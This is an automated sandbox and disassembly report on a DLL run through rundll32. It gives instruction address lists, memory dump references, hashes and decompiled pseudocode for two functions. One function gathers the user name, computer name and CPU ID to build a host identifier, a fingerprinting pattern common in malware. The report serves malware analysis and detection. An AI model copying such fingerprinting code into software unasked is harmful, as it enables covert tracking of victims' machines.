0x7fef47354c7
0x7fef47354db
0x7fef47354f2
0x7fef47354fa
0x7fef4735501
0x7fef473550c
0x7fef4735514
0x7fef473551f
0x7fef4735526
0x7fef473552e
0x7fef4735534
0x7fef473553f
0x7fef4735546
0x7fef4735551
0x7fef473555f
0x7fef4735565
0x7fef4735573
0x7fef4735589
0x7fef473559d
0x7fef47355a5
0x7fef47355ac
0x7fef47355b6
0x7fef47355bc
0x7fef47355c1
0x7fef47355cc
0x7fef47355d3
0x7fef47355de
0x7fef47355e8
0x7fef47355ee
0x7fef47355f3
0x7fef47355fb
0x7fef47355ff
0x7fef4735603
0x7fef4735609
0x7fef4735610
0x7fef473561d
0x7fef473562e
0x7fef4735640
0x7fef4735645
0x7fef4735659
0x7fef4735663
0x7fef473566c
0x7fef473566e
0x7fef473567a
0x7fef473568b
0x7fef4735690
0x7fef473569a
0x7fef47356a1
0x7fef47356a7
0x7fef47356ac
0x7fef47356b4
0x7fef47356b8
0x7fef47356bc
0x7fef47356c1
0x7fef47356ca
0x7fef47356d3
0x7fef47356d8
0x7fef47356dd
0x7fef47356e1
0x7fef47356e8
0x7fef47356f0
0x7fef47356f4
0x7fef47356fc
0x7fef4735700
0x7fef4735708
0x7fef473570e
0x7fef4735713
0x7fef473571b
0x7fef473571f
0x7fef4735729
0x7fef4735730
0x7fef4735735
0x7fef4735743
0x7fef4735749
0x7fef4735757
0x7fef473575d
0x7fef473576b
0x7fef4735776
0x7fef473578b
0x7fef47357a2
0x7fef47357b9
0x7fef47357c1
0x7fef47357c6
0x7fef47357d0
0x7fef47357dc
0x7fef47357e7
0x7fef47357ec
0x7fef47357f4
0x7fef47357f7
0x7fef47357ff
0x7fef4735803
0x7fef4735807
0x7fef4735815
0x7fef473581b
0x7fef4735826
0x7fef473583b
0x7fef473584c
0x7fef4735858
0x7fef4735860
0x7fef4735868
0x7fef473586d
0x7fef473587a
0x7fef473587f
0x7fef4735887
0x7fef4735889
0x7fef4735890
0x7fef473589a
0x7fef473589f
0x7fef47358a9
0x7fef47358c2
0x7fef47358d7
0x7fef47358df
0x7fef47358e5
0x7fef47358f0
0x7fef47358f7
0x7fef47358fe
0x7fef473590b
0x7fef4735911
0x7fef473591f
0x7fef4735925
0x7fef4735933
0x7fef4735947
0x7fef473595c
0x7fef4735971
0x7fef4735985
0x7fef4735997
0x7fef47359a1
0x7fef47359aa
0x7fef47359af
0x7fef47359ba
0x7fef47359c1
0x7fef47359d2
0x7fef47359dc
0x7fef47359e2
0x7fef47359e7
0x7fef47359ef
0x7fef47359f3
0x7fef47359fc
0x7fef4735a03
0x7fef4735a08
0x7fef4735a10
0x7fef4735a15
0x7fef4735a20
0x7fef4735a27
0x7fef4735a2c
0x7fef4735a35
0x7fef4735a3a
0x7fef4735a44
0x7fef4735a4a
0x7fef4735a4f
0x7fef4735a5d
0x7fef4735a63
0x7fef4735a6e
0x7fef4735a75
0x7fef4735a7c
0x7fef4735a90
0x7fef4735aaf
0x7fef4735ac2
0x7fef4735ad1
0x7fef4735ae3
0x7fef4735aeb
0x7fef4735af7
0x7fef4735afe
0x7fef4735b05
0x7fef4735b09
0x7fef4735b13
0x7fef4735b2e
0x7fef4735b32
0x7fef4735b3a
0x7fef4735b3e
0x7fef4735b42
0x7fef4735b4c
0x7fef4735b52
0x7fef4735b60
0x7fef4735b74
0x7fef4735b88
0x7fef4735b9d
0x7fef4735bb2
0x7fef4735bba
0x7fef4735bc1
0x7fef4735bc8
0x7fef4735bce
0x7fef4735bd3
0x7fef4735bdb
0x7fef4735bdf
0x7fef4735bea
0x7fef4735bf5
0x7fef4735bfc
0x7fef4735c01
0x7fef4735c0a
0x7fef4735c0f
0x7fef4735c19
0x7fef4735c20
0x7fef4735c25
0x7fef4735c2d
0x7fef4735c32
0x7fef4735c3c
0x7fef4735c42
0x7fef4735c47
0x7fef4735c4f
0x7fef4735c53
0x7fef4735c5c
0x7fef4735c62
0x7fef4735c76
0x7fef4735c8b
0x7fef4735c9a
0x7fef4735ca1
0x7fef4735ca7
0x7fef4735cac
0x7fef4735cb4
0x7fef4735cb8
0x7fef4735cc3
0x7fef4735cce
0x7fef4735cd5
0x7fef4735cda
0x7fef4735ce3
0x7fef4735ce8
0x7fef4735cf2
0x7fef4735cf8
0x7fef4735d0f
0x7fef4735d19
0x7fef4735d23
0x7fef4735d2e
0x7fef4735d34
0x7fef4735d39
0x7fef4735d42
0x7fef4735d47
0x7fef4735d50
0x7fef4735d5c
0x7fef4735d6c
0x7fef4735d71
0x7fef4735d7a
0x7fef4735d7f
0x7fef4735d88
0x7fef4735d97
0x7fef4735da4
0x7fef4735da9
0x7fef4735db7
0x7fef4735dbd
0x7fef4735dc8
0x7fef4735dcf
0x7fef4735dd6
0x7fef4735dea
0x7fef4735e09
0x7fef4735e1c
0x7fef4735e2b
0x7fef4735e3d
0x7fef4735e4e
0x7fef4735e55
0x7fef4735e63
0x7fef4735e76
0x7fef4735e91
0x7fef4735e95
0x7fef4735e9a
0x7fef4735ea5
0x7fef4735eab
0x7fef4735eb3
0x7fef4735eb7
0x7fef4735ebb
0x7fef4735ecc
0x7fef4735ee2
0x7fef4735ef5
0x7fef4735f04
0x7fef4735f16
0x7fef4735f27
0x7fef4735f2e
0x7fef4735f34
0x7fef4735f42
0x7fef4735f54
0x7fef4735f58
0x7fef4735f60
0x7fef4735f68
0x7fef4735f74
0x7fef4735f7f
0x7fef4735f8f
0x7fef4735f94
0x7fef4735fa2
0x7fef4735faf
0x7fef4735fbc
0x7fef4735fc9
0x7fef4735fd6
0x7fef4735fe0
0x7fef4735fed
0x7fef4735ffa
0x7fef4736007
0x7fef4736014
0x7fef4736021
0x7fef473602e
0x7fef473603b
0x7fef4736048
0x7fef4736055
0x7fef4736062
0x7fef473606c
0x7fef4736079
0x7fef4736086
0x7fef4736090
0x7fef473609d
0x7fef47360aa
0x7fef47360b4
0x7fef47360c1
0x7fef47360ce
0x7fef47360db
0x7fef47360e8
0x7fef47360f2
0x7fef47360ff
0x7fef473610c
0x7fef473611f
0x7fef4736138
0x7fef4736149

Strings

www.Google.com, xrefs: 000007FEF473564D
string too long, xrefs: 000007FEF4735277, 000007FEF4735284
|||, xrefs: 000007FEF4735579

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: string too long$www.Google.com$|||
API String ID: 145871493-1043884827
Opcode ID: e05c07637d8c78c9d8ea3c492eb45922954bd66ddcc2d435a8513ce2a79d6c5f
Instruction ID: 655d4b6573dfe3d7e30236b7562fa9b3b28be9ba87ce9db11dbc7eded505a902
Opcode Fuzzy Hash: e05c07637d8c78c9d8ea3c492eb45922954bd66ddcc2d435a8513ce2a79d6c5f
Instruction Fuzzy Hash: B0B25B7260AAC2D9EBA0DF70D8547EC27A1F741388F804522DA5D5BAFADF78D685C340

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4736150 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E000007FE7FEF4736150(intOrPtr __ebx, signed int __edx, long long __rbx, long long __rdx, long long __rdi, signed long long __rsi, signed int __r8, signed long long __r9) {
				void* __rbp;
				int _t48;
				void* _t62;
				void* _t64;
				void* _t73;
				signed long long _t74;
				long long _t107;
				signed long long _t109;
				void* _t111;
				void* _t112;
				signed long long _t113;
				signed long long _t123;

				_t123 = __r9;
				_t109 = __rsi;
				_t79 = __rbx;
				_t73 = _t112;
				_t111 = _t73 - 0x398;
				_t113 = _t112 - 0x490;
				 *((long long*)(_t113 + 0x30)) = 0xfffffffe;
				 *((long long*)(_t73 + 8)) = __rbx;
				 *((long long*)(_t73 + 0x18)) = __rsi;
				 *((long long*)(_t73 + 0x20)) = __rdi;
				_t74 =  *0xf4777530; // 0xf9634ebbaa1d
				 *(_t111 + 0x380) = _t74 ^ _t113;
				_t107 = __rdx;
				 *((long long*)(_t113 + 0x28)) = __rdx;
				 *(_t113 + 0x20) = 0;
				 *((long long*)(__rdx + 0x18)) = 7;
				 *((long long*)(__rdx + 0x10)) = __rsi;
				 *((short*)(__rdx)) = 0;
				r8d = 0;
				E000007FE7FEF4728E10(__rbx, __rdx, 0xf476ad38, __rsi, __r8);
				 *(_t113 + 0x20) = 1;
				 *((intOrPtr*)(_t113 + 0x58)) = 0x100;
				GetUserNameW(??, ??); // executed
				if ( *((intOrPtr*)(_t111 - 0x80)) != 0) goto 0xf47361e1;
				r8d = 0;
				goto 0xf47361fb;
				if ( *((short*)(_t111 - 0x80 + ((__r8 | 0xffffffff) + 1) * 2)) != 0) goto 0xf47361f0;
				E000007FE7FEF4728E10(_t79, _t107, _t111 - 0x80, _t109, (__r8 | 0xffffffff) + 1);
				 *((intOrPtr*)(_t113 + 0x5c)) = 0x100;
				_t48 = GetComputerNameW(??, ??); // executed
				if (_t48 == 0) goto 0xf473626e;
				r8d = 1;
				E000007FE7FEF47282D0(_t79, _t107, "-", _t107, _t109, (__r8 | 0xffffffff) + 1);
				if ( *((short*)(_t111 + 0x180)) != 0) goto 0xf4736249;
				goto 0xf473625f;
				if ( *((short*)(_t111 + 0x180 + ((_t109 | 0xffffffff) + 1) * 2)) != 0) goto 0xf4736254;
				E000007FE7FEF47282D0(_t79, _t107, _t111 + 0x180, _t107, _t109, (_t109 | 0xffffffff) + 1);
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x60], xmm0");
				asm("cpuid");
				 *((intOrPtr*)(_t113 + 0x64)) = __ebx;
				 *(_t113 + 0x68) = 1;
				r9d = 1;
				r8d = __edx;
				E000007FE7FEF473DF70("%08X%08X", (_t109 | 0xffffffff) + 1, _t123);
				 *((long long*)(_t113 + 0x78)) = 7;
				 *(_t113 + 0x70) = _t109;
				 *((short*)(_t113 + 0x60)) = 0;
				E000007FE7FEF473F8A0(_t79, _t113 + 0x60, 0xf477b280, _t111, 0xf477b290);
				E000007FE7FEF473DFA0(_t79, _t113 + 0x38, "-", _t111, _t113 + 0x60, _t123);
				r8d = r8d ^ r8d;
				E000007FE7FEF4728190(_t79, _t107, _t111 + 0x180, _t107, _t109, _t111, _t113 + 0x60, _t123 | 0xffffffff);
				if ( *((long long*)(_t113 + 0x50)) - 8 < 0) goto 0xf473630a;
				E000007FE7FEF4741974( *((intOrPtr*)(_t113 + 0x38)));
				if ( *((long long*)(_t113 + 0x78)) - 8 < 0) goto 0xf473631c;
				E000007FE7FEF4741974( *((intOrPtr*)(_t113 + 0x60)));
				return E000007FE7FEF4740F90(1, _t62, 0, _t64,  *(_t111 + 0x380) ^ _t113, _t111 + 0x180, _t113 + 0x60);
			}

0x7fef4736150
0x7fef4736150
0x7fef4736150
0x7fef4736150
0x7fef4736154
0x7fef473615b
0x7fef4736162
0x7fef473616b
0x7fef473616f
0x7fef4736173
0x7fef4736177
0x7fef4736181
0x7fef4736188
0x7fef473618b
0x7fef4736192
0x7fef4736196
0x7fef473619e
0x7fef47361a2
0x7fef47361a5
0x7fef47361b2
0x7fef47361b7
0x7fef47361bf
0x7fef47361d0
0x7fef47361da
0x7fef47361dc
0x7fef47361df
0x7fef47361f9
0x7fef4736202
0x7fef4736207
0x7fef473621b
0x7fef4736223
0x7fef4736225
0x7fef4736235
0x7fef4736242
0x7fef4736247
0x7fef473625d
0x7fef4736269
0x7fef473626e
0x7fef4736271
0x7fef473627e
0x7fef4736280
0x7fef4736284
0x7fef4736288
0x7fef473628b
0x7fef473629c
0x7fef47362a1
0x7fef47362aa
0x7fef47362af
0x7fef47362c7
0x7fef47362de
0x7fef47362e8
0x7fef47362f1
0x7fef47362fd
0x7fef4736304
0x7fef4736310
0x7fef4736317
0x7fef4736346

APIs

GetUserNameW.ADVAPI32 ref: 000007FEF47361D0
GetComputerNameW.KERNEL32 ref: 000007FEF473621B

Strings

%08X%08X, xrefs: 000007FEF473628E
0F8BFBFF00050657, xrefs: 000007FEF4736295, 000007FEF47362BB

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Name$ComputerUser
String ID: %08X%08X$0F8BFBFF00050657
API String ID: 4229901323-3835291784
Opcode ID: 3d9ad31098fd44b6f8e792f7ac54716e098fee162800accb62cfb0c734bbad7c
Instruction ID: b8487893aec5dff1e97081d7f5f78a9e1a9afc4c2352ecb5c3746c19cc7599d4
Opcode Fuzzy Hash: 3d9ad31098fd44b6f8e792f7ac54716e098fee162800accb62cfb0c734bbad7c
Instruction Fuzzy Hash: D951AF72A1DA86C5E7A08B14E8407BE67E1F3857A4F405325EA6C47AF8DF7CE244CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4726F10 Relevance: 2.9, Strings: 2, Instructions: 442
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E000007FE7FEF4726F10(signed int __eax, void* __eflags, long long __rbx, intOrPtr* __rcx, signed int __rdx) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t152;
				intOrPtr _t161;
				intOrPtr _t166;
				signed int _t171;
				signed int _t183;
				void* _t195;
				void* _t204;
				void* _t210;
				int _t215;
				intOrPtr _t218;
				void* _t219;
				void* _t221;
				void* _t256;
				void* _t272;
				void* _t285;
				void* _t287;
				signed long long _t299;
				signed long long _t307;
				void* _t309;
				void* _t311;
				void* _t316;
				void* _t317;
				intOrPtr* _t325;
				intOrPtr* _t326;
				intOrPtr* _t374;
				intOrPtr* _t379;
				signed int _t389;
				void* _t390;
				signed long long _t392;
				intOrPtr _t393;
				void* _t394;
				void* _t395;
				signed long long _t396;
				intOrPtr _t415;
				intOrPtr _t420;
				intOrPtr _t422;
				intOrPtr _t424;
				intOrPtr _t426;
				intOrPtr* _t427;
				intOrPtr* _t428;
				intOrPtr* _t429;
				intOrPtr _t430;
				intOrPtr _t431;
				intOrPtr _t432;
				signed long long _t435;
				intOrPtr _t437;
				long long _t440;
				intOrPtr* _t441;

				_t394 = _t395 - 0x27;
				_t396 = _t395 - 0xd0;
				 *((long long*)(_t396 + 0x20)) = 0xfffffffe;
				 *((long long*)(_t396 + 0x120)) = __rbx;
				_t299 =  *0xf4777530; // 0xf9634ebbaa1d
				 *(_t394 + 0x17) = _t299 ^ _t396;
				_t389 = __rdx;
				_t441 = __rcx;
				 *((long long*)(_t396 + 0x28)) = __rdx;
				r11d = 0;
				_t437 =  *__rcx;
				_t440 = (__rdx >> 6) + (__rdx >> 6 >> 0x3f);
				if (__eflags == 0) goto 0xf472751a;
				_t435 = (__rdx >> 6) + (__rdx >> 6 >> 0x3f);
				if (_t435 - __rbx <= 0) goto 0xf472750d;
				_t325 = _t390 + _t437;
				_t426 =  *((intOrPtr*)(__rdx + 0x10));
				if ( *((long long*)(__rdx + 0x18)) - 8 < 0) goto 0xf4726fc4;
				goto 0xf4726fc7;
				_t415 =  *((intOrPtr*)(_t325 + 0x10));
				if ( *((long long*)(_t325 + 0x18)) - 8 < 0) goto 0xf4726fd5;
				_t326 =  *_t325;
				_t401 =  <  ? _t415 : _t426;
				goto 0xf472700f;
				_t152 =  *__rdx & 0x0000ffff;
				if ( *_t326 != _t152) goto 0xf4726ff9;
				_t402 = ( <  ? _t415 : _t426) - 1;
				goto 0xf472700f;
				r8d = 1;
				r8d =  <  ? _t152 : r8d;
				goto 0xf4727014;
				if ( *((intOrPtr*)(_t326 + 2)) != _t152) goto 0xf4726fe4;
				r8d = 0;
				if (r8d != 0) goto 0xf4727029;
				if (_t415 - _t426 < 0) goto 0xf472702d;
				if ((0 | _t415 != _t426) == 0) goto 0xf472704b;
				r11d = r11d + 1;
				_t307 = r11d;
				if (_t307 - _t440 >= 0) goto 0xf472751a;
				goto 0xf4726fa7;
				if (r11d == 0xffffffff) goto 0xf472751a;
				_t392 = r11d;
				if (_t440 - _t392 > 0) goto 0xf472706a;
				E000007FE7FEF47589E0(_t215, __eax * ( *((intOrPtr*)(__rcx + 8)) - _t437) * ( *((intOrPtr*)(__rcx + 8)) - _t437) >> 0x20, _t219, _t221, _t440 - _t392, _t307, __rbx + 1, "invalid vector<T> subscript", __rdx, _t392, ( <  ? _t415 : _t426) - 1, _t415);
				asm("int3");
				_t316 = _t392 * 0x88 + _t437;
				 *((long long*)(_t394 - 0x61)) = 7;
				r14d = 0;
				 *((long long*)(_t394 - 0x69)) = _t440;
				 *((intOrPtr*)(_t394 - 0x79)) = r14w;
				_t436 = _t435 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t316, _t394 - 0x79, _t316, _t392, _t394, ( <  ? _t415 : _t426) - 1, _t435 | 0xffffffff);
				 *((long long*)(_t394 - 0x41)) = 7;
				 *((long long*)(_t394 - 0x49)) = _t440;
				 *((intOrPtr*)(_t394 - 0x59)) = r14w;
				_t29 = _t316 + 0x20; // 0x20
				r8d = 0;
				E000007FE7FEF4728440(_t316, _t394 - 0x59, _t29, _t392, _t394, ( <  ? _t415 : _t426) - 1, _t435 | 0xffffffff);
				 *((long long*)(_t394 - 0x21)) = 7;
				 *((long long*)(_t394 - 0x29)) = _t440;
				 *((intOrPtr*)(_t394 - 0x39)) = r14w;
				_t34 = _t316 + 0x40; // 0x40
				r8d = 0;
				E000007FE7FEF4728440(_t316, _t394 - 0x39, _t34, _t392, _t394, ( <  ? _t415 : _t426) - 1, _t435 | 0xffffffff);
				 *((intOrPtr*)(_t394 - 0x19)) =  *((intOrPtr*)(_t316 + 0x60));
				 *((long long*)(_t394 + 7)) = 7;
				 *((long long*)(_t394 - 1)) = _t440;
				 *((intOrPtr*)(_t394 - 0x11)) = r14w;
				_t41 = _t316 + 0x68; // 0x68
				r8d = 0;
				E000007FE7FEF4728440(_t316, _t394 - 0x11, _t41, _t392, _t394, ( <  ? _t415 : _t426) - 1, _t436);
				_t218 =  *((intOrPtr*)(_t389 + 0x60));
				_t161 =  *((intOrPtr*)(_t394 - 0x19));
				if (_t218 == 0) goto 0xf47271cb;
				if (_t161 == 0) goto 0xf47271c7;
				if (_t161 == _t218) goto 0xf47271c7;
				E000007FE7FEF4727EF0(_t161, _t316, __rcx, _t389);
				if ( *((long long*)(_t394 + 7)) - 8 < 0) goto 0xf472714e;
				E000007FE7FEF4741974( *((intOrPtr*)(_t394 - 0x11)));
				 *((long long*)(_t394 + 7)) = 7;
				 *((long long*)(_t394 - 1)) = _t440;
				 *((intOrPtr*)(_t394 - 0x11)) = r14w;
				if ( *((long long*)(_t394 - 0x21)) - 8 < 0) goto 0xf472716f;
				E000007FE7FEF4741974( *((intOrPtr*)(_t394 - 0x39)));
				 *((long long*)(_t394 - 0x21)) = 7;
				 *((long long*)(_t394 - 0x29)) = _t440;
				 *((intOrPtr*)(_t394 - 0x39)) = r14w;
				if ( *((long long*)(_t394 - 0x41)) - 8 < 0) goto 0xf4727190;
				E000007FE7FEF4741974( *((intOrPtr*)(_t394 - 0x59)));
				 *((long long*)(_t394 - 0x41)) = 7;
				 *((long long*)(_t394 - 0x49)) = _t440;
				 *((intOrPtr*)(_t394 - 0x59)) = r14w;
				if ( *((long long*)(_t394 - 0x61)) - 8 < 0) goto 0xf47271b1;
				_t166 = E000007FE7FEF4741974( *((intOrPtr*)(_t394 - 0x79)));
				 *((long long*)(_t394 - 0x61)) = 7;
				 *((long long*)(_t394 - 0x69)) = _t440;
				 *((intOrPtr*)(_t394 - 0x79)) = r14w;
				goto 0xf4727526;
				if (_t218 != 0) goto 0xf47271ce;
				 *((intOrPtr*)(_t389 + 0x60)) = _t166;
				_t66 = _t389 + 0x68; // 0x68
				_t427 = _t66;
				if ((r14d & 0xffffff00 |  *((intOrPtr*)(_t427 + 0x10)) != _t307) == 0) goto 0xf472728a;
				_t420 =  *((intOrPtr*)(_t394 - 1));
				if ((r14d & 0xffffff00 | _t420 != 0x00000000) == 0) goto 0xf472728a;
				_t339 =  >=  ?  *((void*)(_t394 - 0x11)) : _t394 - 0x11;
				_t430 =  *((intOrPtr*)(_t427 + 0x10));
				if ( *((long long*)(_t427 + 0x18)) - 8 < 0) goto 0xf4727217;
				goto 0xf472721a;
				_t374 = _t427;
				_t404 =  <  ? _t430 : _t420;
				goto 0xf4727254;
				_t171 =  *( >=  ?  *((void*)(_t394 - 0x11)) : _t394 - 0x11) & 0x0000ffff;
				if ( *_t374 != _t171) goto 0xf4727245;
				goto 0xf4727254;
				r8d = 1;
				r8d =  <  ? r12d : r8d;
				goto 0xf4727259;
				if ( *((intOrPtr*)(_t374 + 2)) != _t171) goto 0xf4727230;
				r8d = r14d;
				if (r8d != 0) goto 0xf472726c;
				_t256 = _t430 - _t420;
				if (_t256 < 0) goto 0xf4727270;
				if ((r14d & 0xffffff00 | _t256 != 0x00000000) == 0) goto 0xf472728a;
				E000007FE7FEF4727EF0(r14d & 0xffffff00 | _t256 != 0x00000000, _t316, _t441, _t389);
				E000007FE7FEF4724F50(_t316, _t394 - 0x79);
				goto 0xf4727526;
				if ((r14d & 0xffffff00 |  *((intOrPtr*)(_t427 + 0x10)) != r8d) != 0) goto 0xf47272b3;
				_t309 = _t394 - 0x11;
				if (_t427 == _t309) goto 0xf47272b3;
				r8d = 0;
				E000007FE7FEF4728440(_t316, _t427, _t394 - 0x11, _t392, _t394, ( <  ? _t430 : _t420) - 1, _t436);
				_t86 = _t389 + 0x20; // 0x20
				_t428 = _t86;
				if ((r14d & 0xffffff00 |  *((intOrPtr*)(_t428 + 0x10)) != _t309) == 0) goto 0xf4727358;
				_t422 =  *((intOrPtr*)(_t394 - 0x49));
				if ((r14d & 0xffffff00 | _t422 != 0x00000000) == 0) goto 0xf4727358;
				_t345 =  >=  ?  *((void*)(_t394 - 0x59)) : _t394 - 0x59;
				_t431 =  *((intOrPtr*)(_t428 + 0x10));
				if ( *((long long*)(_t428 + 0x18)) - 8 < 0) goto 0xf47272f8;
				goto 0xf47272fb;
				_t379 = _t428;
				_t407 =  <  ? _t431 : _t422;
				goto 0xf4727334;
				asm("o16 nop [eax+eax]");
				_t183 =  *( >=  ?  *((void*)(_t394 - 0x59)) : _t394 - 0x59) & 0x0000ffff;
				if ( *_t379 != _t183) goto 0xf4727325;
				goto 0xf4727334;
				r8d = 1;
				r8d =  <  ? r12d : r8d;
				goto 0xf4727339;
				if ( *((intOrPtr*)(_t379 + 2)) != _t183) goto 0xf4727310;
				r8d = r14d;
				if (r8d != 0) goto 0xf4727350;
				_t272 = _t431 - _t422;
				if (_t272 < 0) goto 0xf4727270;
				if ((r14d & 0xffffff00 | _t272 != 0x00000000) != 0) goto 0xf4727270;
				if ((r14d & 0xffffff00 |  *((intOrPtr*)(_t428 + 0x10)) != r8d) != 0) goto 0xf4727381;
				_t311 = _t394 - 0x59;
				if (_t428 == _t311) goto 0xf4727381;
				r8d = 0;
				E000007FE7FEF4728440(_t316, _t428, _t394 - 0x59, _t392, _t394, ( <  ? _t431 : _t422) - 1, _t436);
				_t105 = _t389 + 0x40; // 0x40
				_t429 = _t105;
				if ((r14d & 0xffffff00 |  *((intOrPtr*)(_t429 + 0x10)) != _t311) == 0) goto 0xf472741b;
				_t424 =  *((intOrPtr*)(_t394 - 0x29));
				if ((r14d & 0xffffff00 | _t424 != 0x00000000) == 0) goto 0xf472741b;
				_t349 =  >=  ?  *((void*)(_t394 - 0x39)) : _t394 - 0x39;
				_t432 =  *((intOrPtr*)(_t429 + 0x10));
				if ( *((long long*)(_t429 + 0x18)) - 8 < 0) goto 0xf47273c6;
				goto 0xf47273c9;
				_t410 =  <  ? _t432 : _t424;
				goto 0xf47273f8;
				_t285 =  *_t429 - ( *( >=  ?  *((void*)(_t394 - 0x39)) : _t394 - 0x39) & 0x0000ffff);
				if (_t285 != 0) goto 0xf47273ed;
				goto 0xf47273f8;
				_t195 =  <  ? r12d : 1;
				goto 0xf47273fd;
				if (_t285 != 0) goto 0xf47273d8;
				if (_t311 != 0) goto 0xf4727413;
				_t287 = _t432 - _t424;
				if (_t287 < 0) goto 0xf4727270;
				if ((r14d & 0xffffff00 | _t287 != 0x00000000) != 0) goto 0xf4727270;
				if ((r14d & 0xffffff00 |  *((intOrPtr*)(_t429 + 0x10)) != _t311) != 0) goto 0xf4727444;
				if (_t429 == _t394 - 0x39) goto 0xf4727444;
				r8d = 0;
				E000007FE7FEF4728440(_t316, _t429, _t394 - 0x39, _t392, _t394, ( <  ? _t432 : _t424) - 1, _t436);
				_t124 = _t392 * 0x88 +  *_t441 + 0x88; // 0x88
				E000007FE7FEF4729AA0(_t394 - 0x39, _t316, _t124,  *((intOrPtr*)(_t441 + 8)), _t389, _t394, _t392 * 0x88 +  *_t441, _t436);
				_t393 =  *((intOrPtr*)(_t441 + 8));
				_t317 = _t393 - 0x88;
				if (_t317 == _t393) goto 0xf4727484;
				_t204 = E000007FE7FEF4724F50(_t317, _t317);
				if (_t317 + 0x88 != _t393) goto 0xf4727470;
				 *((long long*)(_t441 + 8)) =  *((long long*)(_t441 + 8)) + 0xffffff78;
				E000007FE7FEF4727EF0(_t204, _t317 + 0x88, _t441, _t389);
				if ( *((long long*)(_t394 + 7)) - 8 < 0) goto 0xf47274a8;
				E000007FE7FEF4741974( *((intOrPtr*)(_t394 - 0x11)));
				 *((long long*)(_t394 + 7)) = 7;
				 *((long long*)(_t394 - 1)) = _t440;
				 *((intOrPtr*)(_t394 - 0x11)) = r14w;
				if ( *((long long*)(_t394 - 0x21)) - 8 < 0) goto 0xf47274c9;
				E000007FE7FEF4741974( *((intOrPtr*)(_t394 - 0x39)));
				 *((long long*)(_t394 - 0x21)) = 7;
				 *((long long*)(_t394 - 0x29)) = _t440;
				 *((intOrPtr*)(_t394 - 0x39)) = r14w;
				if ( *((long long*)(_t394 - 0x41)) - 8 < 0) goto 0xf47274ea;
				E000007FE7FEF4741974( *((intOrPtr*)(_t394 - 0x59)));
				 *((long long*)(_t394 - 0x41)) = 7;
				 *((long long*)(_t394 - 0x49)) = _t440;
				 *((intOrPtr*)(_t394 - 0x59)) = r14w;
				if ( *((long long*)(_t394 - 0x61)) - 8 < 0) goto 0xf4727526;
				E000007FE7FEF4741974( *((intOrPtr*)(_t394 - 0x79)));
				goto 0xf4727526;
				_t210 = E000007FE7FEF47589E0(_t215, _t218, _t219, _t221,  *((long long*)(_t394 - 0x61)) - 8, _t394 - 0x39, _t317 + 0x88, "invalid vector<T> subscript", _t389, _t393, _t392 * 0x88 +  *_t441, _t436);
				asm("int3");
				E000007FE7FEF4727EF0(_t210, _t317 + 0x88, _t441, _t389); // executed
				E000007FE7FEF4724F50(_t317 + 0x88, _t389);
				return E000007FE7FEF4740F90(_t215, _t219, 0, _t221,  *(_t394 + 0x17) ^ _t396, _t389, _t392 * 0x88 +  *_t441);
			}

0x7fef4726f1c
0x7fef4726f21
0x7fef4726f28
0x7fef4726f31
0x7fef4726f39
0x7fef4726f43
0x7fef4726f47
0x7fef4726f4a
0x7fef4726f4d
0x7fef4726f52
0x7fef4726f59
0x7fef4726f80
0x7fef4726f83
0x7fef4726fa2
0x7fef4726faa
0x7fef4726fb0
0x7fef4726fb4
0x7fef4726fbd
0x7fef4726fc2
0x7fef4726fc7
0x7fef4726fd0
0x7fef4726fd2
0x7fef4726fdb
0x7fef4726fe2
0x7fef4726fe4
0x7fef4726fea
0x7fef4726ff4
0x7fef4726ff7
0x7fef4726ff9
0x7fef4727009
0x7fef472700d
0x7fef472700f
0x7fef4727011
0x7fef472701a
0x7fef472701f
0x7fef472702b
0x7fef472702d
0x7fef472703a
0x7fef4727040
0x7fef4727046
0x7fef472704f
0x7fef4727055
0x7fef472705b
0x7fef4727064
0x7fef4727069
0x7fef4727071
0x7fef4727074
0x7fef472707c
0x7fef472707f
0x7fef4727083
0x7fef4727088
0x7fef472708f
0x7fef4727099
0x7fef472709f
0x7fef47270a7
0x7fef47270ab
0x7fef47270b0
0x7fef47270b7
0x7fef47270be
0x7fef47270c4
0x7fef47270cc
0x7fef47270d0
0x7fef47270d5
0x7fef47270dc
0x7fef47270e3
0x7fef47270ec
0x7fef47270ef
0x7fef47270f7
0x7fef47270fb
0x7fef4727100
0x7fef4727107
0x7fef472710e
0x7fef4727114
0x7fef4727117
0x7fef472711c
0x7fef4727124
0x7fef472712c
0x7fef4727138
0x7fef4727143
0x7fef4727149
0x7fef472714e
0x7fef4727156
0x7fef472715a
0x7fef4727164
0x7fef472716a
0x7fef472716f
0x7fef4727177
0x7fef472717b
0x7fef4727185
0x7fef472718b
0x7fef4727190
0x7fef4727198
0x7fef472719c
0x7fef47271a6
0x7fef47271ac
0x7fef47271b1
0x7fef47271b9
0x7fef47271bd
0x7fef47271c2
